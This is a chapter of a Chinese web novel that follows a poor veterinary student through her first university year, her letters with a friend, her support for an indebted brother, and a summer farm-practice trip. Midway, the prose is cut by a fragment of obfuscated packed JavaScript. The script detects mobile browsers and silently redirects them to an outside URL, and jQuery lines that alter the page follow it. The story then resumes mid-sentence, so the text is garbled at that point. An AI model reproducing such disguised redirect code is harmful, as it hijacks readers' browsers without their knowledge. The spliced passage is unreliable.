不敢想,就真的不想了吗?
大学开学已经两个月了,林羽翼依旧时不时回想起去外滩散步的那一天。
那天她和王心宜在外滩呆到很晚,她们吃不起那里的餐馆,人均三四百的消费简直是天价,便随意买了两个面包,坐在江边的长椅上看风景。
阳光明媚的下午,黄浦江面泛着鱼鳞般的金光;傍晚,柔软晚霞覆盖天际,粉色与深蓝色在天空中交织出梦一样的景色;夜色降临,江岸两边建筑上的彩灯亮起,江上行驶的游轮也亮起灯,整个江面如一卷缓缓流淌的光影水墨画。
最后,一直到灯光熄灭,人群散开,她们才起身离开。
这样的一天,对林羽翼震撼很大。
她无比明确地知道,江两岸的那些高楼是她永远摸不着碰不到的东西,可是,真的这样吗?真是……这样吗?
或许她自己都没察觉到,她的内心深处,悄无声息地燃起一把熊熊烈火,向着她触摸不到的旷野迅速蔓延。
就算碰不到,她也想要伸手去试一试。
……
林羽翼就这么奇妙地开了窍。
大学前,所有人都说“上了大学就轻松了”,可林羽翼的大学,却不知道比高中辛苦多少倍。
每天的课时倒是不多,一天最多也就四节大课,相当于高中八节课,最少的时候只有一节大课。
林羽翼的专业是动物医学,学校是农业学校,在川城西南边的深山旁,校园很大,一半是教学区域,另一半是山,漫山遍野的试验田、果树林,还有实验动物养殖场,学校里农业氛围很足,提到未来的工作,学生们都开玩笑地说自己是“种地的”、“养猪的”,林羽翼和同学也是这么开玩笑的,但事实上,林羽翼大一学的课程,和“养猪”可谓是毫不相关。
高等数学、无机化学、分析化学、普通生物,还有化学、生物实验课,都是些高中基础知识的深化和巩固。
林羽翼发现,大学和高中学习最大的不同,其实是在课堂上。在高中,学霸有上课有自习的权力。大学当然也可以,但你不能坐在前排光明正大地自习,会让老师觉得不尊重他,你只能在后排悄悄地自习。所以林羽翼每次上课都坐后排,可是很奇怪的是,无论她在测验上成绩多好,老师都只会认为坐在前排的是好学生,受到夸奖的只会使那些坐在前排的学生。
后来林羽翼想明白了,高中时,不管是学生还是老师,都只有一个目标,那就是高考,所有人都在向着这个目标奋力前行。
大学却不一样,对大学生而言,成功毕业只是最基础的目标,在完成这个目标的基础上,他们还可以做许多事,有许许多多不同的选择,参加学生会、社团活动,跟随师兄师姐或是老师进入实验室学习,努力考研考博……
对大学老师而言,上课教书只是他们工作的一部分,教书育人固然重要,可实验室做科研、自身发展同样重要,他们不会像高中老师那样把所有注意力都集中在学生身上,他们也没有那么在意应试成绩。于是,能被他们第一眼看到的、记住的学生,当然是次次都坐第一排的那一批人。
林羽翼不禁感叹,大学生活看似比高中自由,看似可以选择的道路有那么那么多条,可实则呢?从另一方面看,这何尝不是失去了一部分自由?还真应了那句话,大学就是一个小社会,学习是很重要的,可是其他方方面面——比如人情世故也同样重要。
课后,林羽翼大半时间都泡在图书馆里,抱着厚厚的书本,挑个没人的角落坐着,专心复习预习,巩固课本上的知识,顺便背一背英语。
虽然大学课表上没有英语课,可她要考四六级的呀!只要考上五百分,就有奖学金拿!
剩下大半的时间,林羽翼则在做兼职,打零工。
她的兼职范围非常广,学校提供的勤工俭学岗位,她做;校内小饭馆服务员,她做;校门口发传单的推销大使,她也做。她有努力和同学搞好关系,帮忙去“代课”,一节课能收五元钱,还能巩固课堂知识,何乐而不为呢?
大学的助学金比高中要多一些,加上打工零零散散赚到的钱,林羽翼一个月能有一千两百元左右的收入。
在这个大学生活费人均七八百的时代,林羽翼的收入本该过得很滋润。
但是并没有。
户口本迁到学校这边后,王登高真铁了心要和她断绝关系,竟然寄了一封断绝信给她。他字写得歪七八扭,可信里的内容还真像样。林羽翼直接把那封信撕了,本来也没有法律效应的东西,放在眼前恶心她吗?
王登高不再给她转生活费,反倒是她,每个月会打一笔钱过去。但不是打给王登高,而是王心宜。
离开沪城后,林羽翼一直和王心宜保持着联系,通过棚户楼下,以及她学校里的公用电话通话。
开学的第一个月,林羽翼便联系上王心宜,给她提出了这个想法。
“转钱?给我?存着帮你哥还债?小妹妹,你是不是疯了!”电话那头,响起王心宜的惊呼声,“你直接转给你哥呗,转我干嘛?你不怕我把钱贪了吗?”
“王登高他不会收,他会把钱转回给我,一来一回,浪费手续费。”林羽翼低着头,看着自己撑在桌上的手,她的手指在桌面敲了敲,等了两秒,才犹豫地回答王心宜第二个问题,“心宜姐,我相信你不会,你是好人。”
她这句话,换来的是王心宜一阵无奈的笑。
“行吧,虽然我穷,但我的确不是那种贪钱的人。可是小妹妹啊,你知道你哥欠了多少钱吗?你一个月能替他还多少?三百?五百?一百年都还不够的!”
林羽翼手指倏地握紧了:“还不够,就不还了吗?”
林羽翼心底有个大概的数额,那些找上她的要债的,差不多二十万元,还有些她不知道的,估摸着也就几万元,最多十来二十万。只要王登高不再去借钱,只要那钱不再滚雪球,林羽翼觉得,自己努力挣个十年八载的,还是能还清。
“你哥还真就想不还了。”王心宜摆摆手,“不然他干嘛硬要和你断绝关系?你们户口本既然已经分割了,小妹妹,你好好过你自己的日子,大学生呢,前途无量呢,别被他这个废物拖累——”
“我哥他不是——!”林羽翼的吼声骤然爆发,打断王心宜的声音。
电话两头都愣住了。
“对不起心宜姐,我、我不是想凶你……我刚刚没控制好情绪。”林羽翼用力抹一把眼眶边的泪水。
“心宜姐,我不是没有想过不管他,不是没有想过就这么和他一刀两断,我想过,我想过很多次,可是……”
可是。
一旦心里冒出一刀两断的念头,林羽翼脑海里,就会涌现出小时候,属于她和哥哥的一幕幕记忆。
小学她生过一次病,她对那时的记忆已经很模糊了,只记得,哥哥白天在医院附近做工,累得走路都摇摇晃晃,却整夜守在她身边。那时她怕黑,怕医院的夜晚,可是她一睁眼,就能看见哥哥温柔的目光。
哥哥一动不动地看着她,目光里除了温柔到极致的情绪,还藏着难以察觉的恐惧,仿佛是害怕她悄无声息地睡去了,便再也不会醒来似的恐惧。于是小小的林羽翼知道了,天不怕地不怕的哥哥,会害怕她生病,她对哥哥来说,一定是很重要、很重要的存在。
她要努力养好身体,不要再生病,不要再让哥哥害怕了。
初中毕业,自己不肯读高中的时候,哥哥愤怒得涨红了脸,话都被气得说不清楚,拿起扫帚想要打她却又落不下手,最后硬是拉着她去了师涟家,见了老师。
那会儿她一点儿也不懂事,她不知道为什么要读书,比起读书,她更想出去打工赚钱。如果不是哥哥,说不定她现在正在哪个厂里呢。是因为哥哥的愤怒与坚持,才有了现在的她。
这一幕一幕的记忆,是她无法抛舍的,属于她和哥哥的纽带。
断绝关系?
怎么可能断得了。
就像那些她以为早已丢失在岁月长河里的记忆,一旦拾起,依旧清晰得像是发生在昨日。
最终,王心宜答应了林羽翼的请求:“行吧,不过这钱就算我拿给你哥,他也不会收,收了也不会拿去还钱。如果你觉得只有把钱给我,你心里才会好受些,那我帮你存着。以后他要是哪天想通了,我把钱给他,要是没想通,就还给你。”
林羽翼每月的收入里,一半转到王心宜的银行卡里,剩下一半又要分成两部分,一部分存下来还助学贷款,剩下的,才是她的生活费。
于是,林羽翼的大学生活,依旧过得很紧巴巴。
林羽翼从学校跳蚤市场里买了个煮饭的小锅,每天午饭和晚饭,都偷偷在宿舍里煮东西吃。刚开始只有她一个人,后来舍友们也加入了进来。
一个室友带米,一个室友带火腿肠,一个室友买了调味料,一个室友从农学学姐那儿嘴甜讨来在试验田边缘摘青菜的资格,林羽翼则负责做饭,一锅色香味俱全的青菜火腿粥便出锅了。
早餐呢?依旧是用那口锅,蒸馒头呢!
顺带一说林羽翼的几位室友,她住的是六人寝,好巧不巧,一个寝室六人都是土生土长的蜀都人。不过和林羽翼不同的是,其余五人都是蜀都城里人,只有她,生长在蜀南的小村庄里。
第一次和室友介绍自己的家乡时,林羽翼先是说起“新村”,室友们茫然摇头,她怔了怔,改口说“广都”,室友们依旧一脸茫然,最后林羽翼笑了笑,说:“是城南边的乡咔咔。”
室友们终于露出恍然大悟的表情。
千禧年起,蜀都便流传着“东贫西贵,南富北乱”这么一句俗语,“南富”指的是城中心往南,可不是城郊往南,谁都知道,城郊往南是鸟不拉屎的田野乡村。
林羽翼其实和室友们不太熟,除了一起吃早中午三餐时能有点交集,其他时候,都是在各忙各的。
她要忙着去图书馆,去打工,室友呢?有人报了小语种培训班,有人参加了社团,当上了学生干部,有人热衷于参加各种舞会联谊,还有人报了第二专业,每个人都有每个人的忙。
林羽翼和室友们算不上熟悉,但关系还不错,夜晚图书馆闭馆后,林羽翼回到宿舍,经常能看见自己桌上堆着小零食。
这一天,林羽翼抱着书本从夜色中闯入寝室楼里,回到寝室,看见桌上不仅有一袋花生米,还放着一封信。
“老大从家里带的花生!可好吃了。”不等林羽翼询问,她上铺的女孩便垂下脑袋来,笑着说,“林羽翼,我在收发室拿信的时候看到了你的信,顺手拿回来了!”
“谢啦。”林羽翼低头看向桌子,在深色的牛皮纸信封上,她看到了一行再熟悉无比的字迹,眷秀整洁,笔锋处却又透着难以掩藏的锋芒。
是师涟的字。
林羽翼在桌子面前坐下,拿起信纸,手指抚过那一行字迹,迅速撕开信封,将信纸从里面抖落出来。林羽翼展开信纸,和她想的一样,是印着川城大学字样的实验用纸。
[林羽翼:]
[见信如晤。]
[这些天过得好吗?上次来信里,你说你应聘了农学院的实验助手,怎么样?工作累吗?有趣吗?]
大学开学后,林羽翼和师涟的关系并没有像她想象中那般淡去,她没有手机,也不愿意花多余的钱去打公共电话和别人闲聊,于是,不知怎么回事的,她和师涟写起了信。
林羽翼拿着信纸,眉眼间情绪越来越柔软,她立马在抽屉里翻出印着“川城农大”的实验纸,动笔写道:
[师涟!晚上好!]
[我这段时间过得还不错啦,除了有些累……唔,不对,应该说是充实才对。我应聘实验助手前,还以为能跟着师兄师姐在实验室里玩玩呢,结果后来才发现,原来就是跟着他们在田里打杂!帮他们晾晒种子,数种子数量,然后认真记录。总的来说,还是挺有趣的!]
林羽翼写完,继续往下看。
师涟:[我这些日子过得很充实,周一到周五和你一样,上课,泡图书馆,说到学习,我前几天在校门口买了两本无机化学习题大全,一本已经寄给了你,你收到了吗?这封信本来应该放在试题集里一起寄给你,可我那会儿太忙,白天学习,晚上学生会还有联谊活动,实在没有时间写信,抱歉,林羽翼。]
医学生的大一课程竟然和林羽翼这个兽医学生的大差不差,都林羽翼和师涟的通信里,时不时就会讨论起学到的新知识,还会分享各自的习题册、参考书。
林羽翼遇到不懂的无机化学算术题,也会写在信里,让师涟帮她解答。尽管等到回信的时候,她往往已经自己把题解了出来,但她依旧喜欢请教师涟,这是她们的共同语言。
林羽翼:[书早收到啦,我说是哪个天杀的给我寄习题,原来是你啊!得,那就不奇怪了。知道师主席忙,没时间写信什么的很正常,我就不计较啦。]
大学后,师涟除了加入了摄影社团,还加入院学生会,准备竞选学生干部呢。林羽翼觉得,以师涟的实力,竞选上主席是迟早的事儿。
师涟:[休息日的生活同样很充实,每周末,摄影部都要举行外出采风的活动,在蜀都市区里到处闲逛,亦或是到城郊看山看水。可惜,我还没有攒够钱买摄像机,只能跟在别人身后打打杂,过过眼瘾。]
林羽翼:[加油攒钱啊师涟!等你有了自己的摄像机,一定要给我寄照片!]
写完这句,看到师涟的下一句话,林羽翼眼睛倏地弯成月牙。
师涟:[等我有了相机,第一时间给你寄照片。]
再往下看,便是一些零散的闲话,然而看到这封信的末尾,林羽翼诧异地挑了挑眉。师涟竟然在信里说,她有些不想学医,她在考虑要不要趁着学期末转专业的机会,转去别的专业学习。
不想学医?
医学可是川大收分最高的专业,医生更是无数人心中梦寐以求的职业——包括林羽翼,如果林羽翼考上了川大医学院,她做梦都能笑醒呢。
师涟却想转去别的专业?怎么看都很亏吧。
林羽翼紧紧皱着眉头,盯着信纸看了许久,才慢慢写道:
[为什么突然不想学医呢?是因为有别的感兴趣的专业吗?我觉得……好不容易考进了省内,不,全西南地区最好的医学院,就这么转去别的院,会不会有些吃亏?唔,当然,这只是我的看法,无论师涟你怎么选择,我都支持你。没关系,现在离期末还有一个多月,你可以慢慢考虑。]
……
寒假,同学老师纷纷离开学校回家过年,林羽翼却还守在这儿。
她找了个清闲的勤工俭学兼职,每天一个人呆在空旷安静的水生物实验室里,帮离校的师兄师姐看着水族箱,按时通电、换水,顺带给箱子里的鱼儿喂喂粮。
随着新年的接近,图书馆闭馆不开,林羽翼干脆把所有书本搬到实验室,没日没夜地在实验长桌上看书。
大学的课本,看着只有那么几本,可真要深挖着学下去,才发现知识点一个接一个紧密地连在一起,仿佛永远学不到尽头。
林羽翼有些时候学累了,就会抬头放空一小会儿。
实验室窗外的景色很好,绿木葱葱,再往远看就是川西南的山野,运气好时,说不定可以看见日照金山。
可林羽翼不喜欢往窗外看,山野的景色她从小看到大,早就看腻了。她更喜欢看水族箱里游来游去的鱼。
水族箱不大,长度还不到一张实验桌,里面的鱼儿没游多久就得转身回到原点,可它们依旧不停地游啊游,在青蓝色的水中吐出一串串珍珠般的气泡。
林羽翼看着逼仄狭窄的鱼缸,总是会想到张潇扬曾经写给她的那句话:
海阔凭鱼跃,天高任鸟飞。
真奇怪啊,怎么会有人看见鱼缸,就想到大海呢?明明鱼缸里的这些鱼儿,永无尽头地游啊游,游一辈子,也游不到海里去。
……
转眼到了第二年夏天,大学后的第一个暑假。
林羽翼原本打算在校内兼职,可她申请的“三下乡”名额竟然通过了,期末考一结束,她就立马跟着学生会成员们坐上火车,前去桂城养殖场进行三下乡实践。
七天实践时间,第一天前往养殖公司报道,参加工资的迎新会。接下来跟着工作人员跋山涉水,去山里的养殖户家里参观、学习,毕竟这群大一学生什么都不懂,打杂都帮不上忙,只能拿着手抄本乖乖跟在养殖户身后,认真记录、学习。
参观养禽户时,林羽翼不可避免地想到了王登高。
桂城的养禽户标准很高,每一圈鸡鸭禽类的喂食量、饮水量、水里面加什么药、多少配比,都有严格要求,进出养殖场前,还得先用高锰酸钾水洗洗鞋子,保证没有病毒。
以前王登高的鸭场呢?至少在林羽翼的记忆中,他工作的鸭场管理远没有这么严格,后来他自己开鸭场,估计大差不差。如果当初,他的鸭场也像桂城的鸭场一样严格管理,是不是,就不会发生那场惨剧?
如果再早两年就好了。
如果自己早两年上大学,就能够帮到他了。
可如果只是如果。
想到王登高,林羽翼心中更多是恨铁不成钢的恨意,她又已经一年没和王登高通上话。她每个月都会和王心宜打电话絮絮叨叨,可王登高从来不肯出现在电话那一头。
林羽翼甚至都有想过,王心宜是不是已经和他哥分开了?可她不敢多想,她一有这样的想法,就立马遏制住。
毕竟,她和王心宜的联系,是她和哥哥之间,最后一根细弱的纽带了。
实践的最后两天,养殖公司带着学生们在桂城游山玩水,坐竹筏游漓江,还去看了二十元纸币背面的山水,逛了桂城城区,最后专门带着他们去菜市场逛一圈。
七天实践一晃而过,时间不长,给林羽翼留下的印象却十分深刻。
首先是桂城的山水,第一天抵达桂城,还没下火车呢,往车厢外面看,便是如出海蛟龙般旋在山腰半空的嶙峋怪石,张牙舞爪地遮挡住远处天边洒来的阳光。透过石头,又能看到天空上厚厚的如棉花糖般雪白的云层。
林羽翼看着桂城的云层,一次次地想,在蜀都,大概一辈子也看不到这么厚,这么白,这么美的云层吧。
紧接着是抵达桂城,前去养殖公司报道后参加的迎新会。公司的迎新会不是为他们这群做实践的大学生准备的,而是为了新一批入职的员工。
什么样的人会到养殖场工作呢?林羽翼以前一直没个概念,就算有,也是以王登高作为参考样本。可是入职这家养殖公司的新员工,竟然都是从211、985大学毕业的高材生,甚至还有一位中农大的海归博士!
海归博士诶,顶尖大学诶,不应该去京城沪城那样的地方工作吗?为什么要从京城,来到桂城这么偏远的山地?
林羽翼刚开始不了解,可随着后来几天的实践体验,跟着他们进深山、见农户、下猪场,出了山,又往规模化的种猪养殖场去,参观高科技粪肥回收装置,参观种猪场实验室……
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179456|135210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>跟着他们奔波、看着他们劳动、听他们神采奕奕地讲着养殖工作,讲着与农户合作的一点一滴……
渐渐地,林羽翼好像有那么一点明白了。
或许她没有生活在鱼缸里,她本来就生在大海,她可以选择游向沪城那样的地方,也可以选择游向桂城深山。这两个地方看似隔得很远,遥不可及,但其实……只看她怎么选。
只看她,想要往哪里游。
林羽翼承认,自己是个俗不可耐的俗人,实践结束后,她并没有像别的实践同学一样,心潮澎湃地坚定目标想要进养殖场工作,她反而更向往沪城那样的海域。
实践的最后一个小插曲,是在菜市场里。
路过禽类市场时,工作人员带他们参观屠户的摊位,那位魁梧屠户拿起磨得光铮铮的刀,一刀下去,鸡血四溅,在场都是些兽医学生,自然不会被这一幕吓到,可人群中竟然发出一声惊呼。
“啊——!”林羽翼身旁的男生条件反射地往她身后躲,双手死死抓住她的手臂。
林羽翼意外地回头,对上了一双惊惶的深棕色大眼睛,是漂亮的桃花眸,眸子上方浓密的睫毛正因为恐惧轻轻颤着。
更让林羽翼意外的是,这是一双男人的眼眸。
被屠户杀鸡吓得瑟瑟发抖的,不是什么小女孩,是一个大男人。林羽翼认识他,是隔壁班的岳程成,学生会干部,这次三下乡实践的组长之一。
“你……害怕?”林羽翼不太喜欢别人手指重重抓住自己胳膊的感觉,似笑非笑地问。
“不、不好意思,同学……”岳程成惊惶好几秒,终于回过神来,歉疚地放开林羽翼的手臂,因为力气太大,他竟然在她衣服上落下了两个汗手印,“我、我之后赔你一件新衣服。”
“没事儿。”林羽翼拍拍胳膊,后退一步,为了缓解岳程成的尴尬,她随口问,“你解剖课怎么学的?课堂上可比这儿恐怖多了吧。”
“我……逃课了。”岳程成站直身子,挠挠头发,脸上露出一个羞敛的笑容,“我从小就怕见血,但我爸妈非要我学兽医,说是容易找工作。”
“医生才容易找工作吧?”林羽翼挑眉。
“我这不是没考上川城大学的医学院吗?”男孩笑笑,毫不介意地摆摆手,说,“没关系,兽医也是医,说不定以后有机会考研去医学院呢?”
“行吧。”林羽翼移开目光,继续看向屠户那儿,“你放心,逃课的事儿我不会告诉老师,不过我觉得……你既然这么害怕,还是别太勉强自己吧,我们才大一,以后做实验的时候,血腥的场面会越来越多。”
“你是一班的林羽翼吧?我在二班,叫岳程成,你知道我吗?”岳程成转开话题,笑得阳光。
“嗯,知道。”林羽翼随口答。
林羽翼并没有交朋友的打算,可岳程成却热情得过分:“刚才真是多谢你挡在我前面了,不然我不知道得被吓成什么样,诶,林羽翼,你就不问我怎么会认识你吗?”
[白羽肉鸡生长周期短,需要依赖激素……]
林羽翼拿起手抄本,一边记录前面养殖场工作人员话,一边随口敷衍:“怎么认识的?”
“你的绩点在我们专业排第二嘛!大学霸,又是美女,我怎么会不知道你?”岳程成在身后盯着林羽翼的笔记本,笑嘻嘻说,“看吧,大学霸,我可做不到像你这么认真努力,菜市场闲逛还做笔记呢。”
第二名!真是哪壶不开提哪壶,第一学期末,林羽翼的绩点和年级另一个女生并列第一,可是第二学期末,她就以0.5分的差距落到第二名了,嗐,这学期她兼职太忙了,都没太多时间去图书馆!早知道辞一个兼职,多接点儿代课,这样就又能挣到钱,又有时间学习。
“你成绩好像也不差。”林羽翼隐约记得,她在成绩表前排看到过岳程成这个名字。
“专业第六,哈哈,名次是挺高,可绩点比你们这些真正的学霸差远了。”岳程成笑着说。
“……也挺不错了。”
总之,从那时开始,岳程成便成了林羽翼的小跟班似的,时时要跟在她身后,笑嘻嘻地和她闲聊、打趣,第一时间帮她拎包拿行李——往往林羽翼还没反应过来,书包就已经到了他手里,被他以迅雷不及掩耳的速度放到行李架上,林羽翼想抢回来都来不及。
想着反正实践马上就要结束,林羽翼也就没管他。
可让她没想到的是,从桂城回蜀都的火车上,她竟然和他一个车厢,只相差两个小隔间。
岳程成在车厢里发现林羽翼的身影后,立马到她的隔间里,乖乖巧巧地对她上铺的阿姨说:
“姐姐,我在隔壁上铺,我们能换个位置吗?嗯,我和你下铺的妹妹是同学,对的,我们都是川城农大的,来桂城这里实习。诶姐姐你不用麻烦,我帮你搬行李!”
岳程成长得好看,笑起来阳光大方,深棕色眼里好似浸着光,他这样乖巧的男孩子,堪称妇女杀手,三两句便把上铺的阿姨说得心花怒放,和他换了铺位。
林羽翼没有主动交朋友的想法,可她并不抗拒交朋友,接近两天两夜的车程,有一个说话的人也挺好。
而且,岳程成话真的很多。
岳程成:“你是哪儿人?我是蜀都的,就在武侯南边。”
林羽翼:“我也在城南,广都,新村,听说过吗?”
岳程成摇头。
林羽翼:“从你们那儿再往南十公里的乡咔咔就是了。”
岳程成皱起眉头思考片刻:“乡下?”
“嗯哼。”
“可我看你不像乡下人。”
“怎么不像了?”
“你……”岳程成挠挠头,似乎意识到自己的话语有些冒犯,不知道如何说下去。
林羽翼笑:“你觉得乡下人是什么样的?畏畏缩缩?土里土气?”
她并没有觉得被冒犯,脸上的笑也并非嗤笑,反而笑得柔软。因为她忽然想起了高一时的自己,那时的她,对山里来的张通蜀,还有同样来自山里、却有着截然不同气质的申树,有着一模一样的疑问。
那时林羽翼不明白,来自山里的申树为什么生得那么落落大方,和张通蜀完全不一样。
现在看来,原来城里也好,乡下也好,山里也好,都是一样的,都是同一片海域。只是看谁能游得更远而已。
“不是、不是。”岳程成慌乱摆手,脸颊微红,“我、我不是这个意思,我就是觉得你很厉害,又自信、又大方,成绩又那么好。”
随即,他看见林羽翼脸上柔软的笑,脸颊更红了,是另一种红。
“哈?是吗?”林羽翼笑着摇摇头,“那么,谢谢你的夸奖了。”
岳程成揉揉通红的脸颊,连珠炮似的问:“你下了火车离家远吗?回家方便吗?我爸开了车来接我,要不要顺便送送你?”
“南站离我家不太远。”林羽翼漫不经心地挨个回答,“不过我不回家。”
“诶?不回家?那你去哪儿?”不等她说完,岳程成便探着脑袋问。
“去朋友家。”林羽翼抬头,目光从火车铺盖上移到窗口,她望着远方不断后退的青绿色风景,眸光愈加温暖柔和,“她会来火车站接我。”
她今年本来不想回广都,不想回新村,可三下乡实践结束后的火车票,买在了离广都、离新村非常近的南站。
出发去参加实践前,林羽翼和师涟打过一通电话,无意间提起了这事儿,师涟立马邀请她去她家住住。
林羽翼下意识想拒绝,可师涟紧接着说,自己有合适的兼职要介绍给她,林羽翼一下就犹豫了,她正烦恼回家后找个什么兼职做呢!思考片刻,林羽翼最终答应了师涟的邀约。
说起来,她和师涟也有一年没见了,不知道现在的师涟有没有什么变化,变成熟了?变得更漂亮了?莫名的,林羽翼心里有点紧张。
“诶……男朋友吗?”岳程成眨巴着大眼睛,不经意般问。
“女……”林羽翼回过神来,“女性朋友。”
“哦!是女生啊,高中同学?”岳程成不问到底不罢休似的。
“嗯,高中同学。”林羽翼点头。
“那你们感情可真好!毕业了都在联系。”
“是呢,她是我最好的朋友。”说起师涟,林羽翼的话不自觉多了一些,“我们经常写信联系。”
“哇哦,她在哪个学校读大学?学的什么专业?”
“川城大学,医学院。”
“啊,又是大学霸!果然学霸的朋友都是学霸!”
林羽翼没有再接话,因为她忽然想起来,师涟最终还是转了专业,转去了和医学八辈子沾不到边儿的新闻学。
林羽翼在信中问过师涟,究竟为什么转专业,又为什么会选择新闻系,可师涟没有正面回答她。
这让林羽翼感觉心底空落落的。
她其实并不想确切地知道“为什么”,她只是想从师涟嘴里听到答案,而师涟的避而不答,让她茫然地觉得,她们之间……隔了好远好远。
她不再了解她,她也不再事无巨细地回答她。
可一年来从不间断的通信,信里那些数不清的闲聊、亦或是倾诉,又都告诉着林羽翼,她和师涟,一点儿也不远。
她不明白。
不明白,所以紧张。
列车一点点靠近蜀都,离目的地越近,林羽翼的心脏便蹦得越快,快得像是要冲出胸膛,直直冲到师涟面前,钻进她的胸腔里,面对面看看她的那一颗心里,究竟都写着些什么。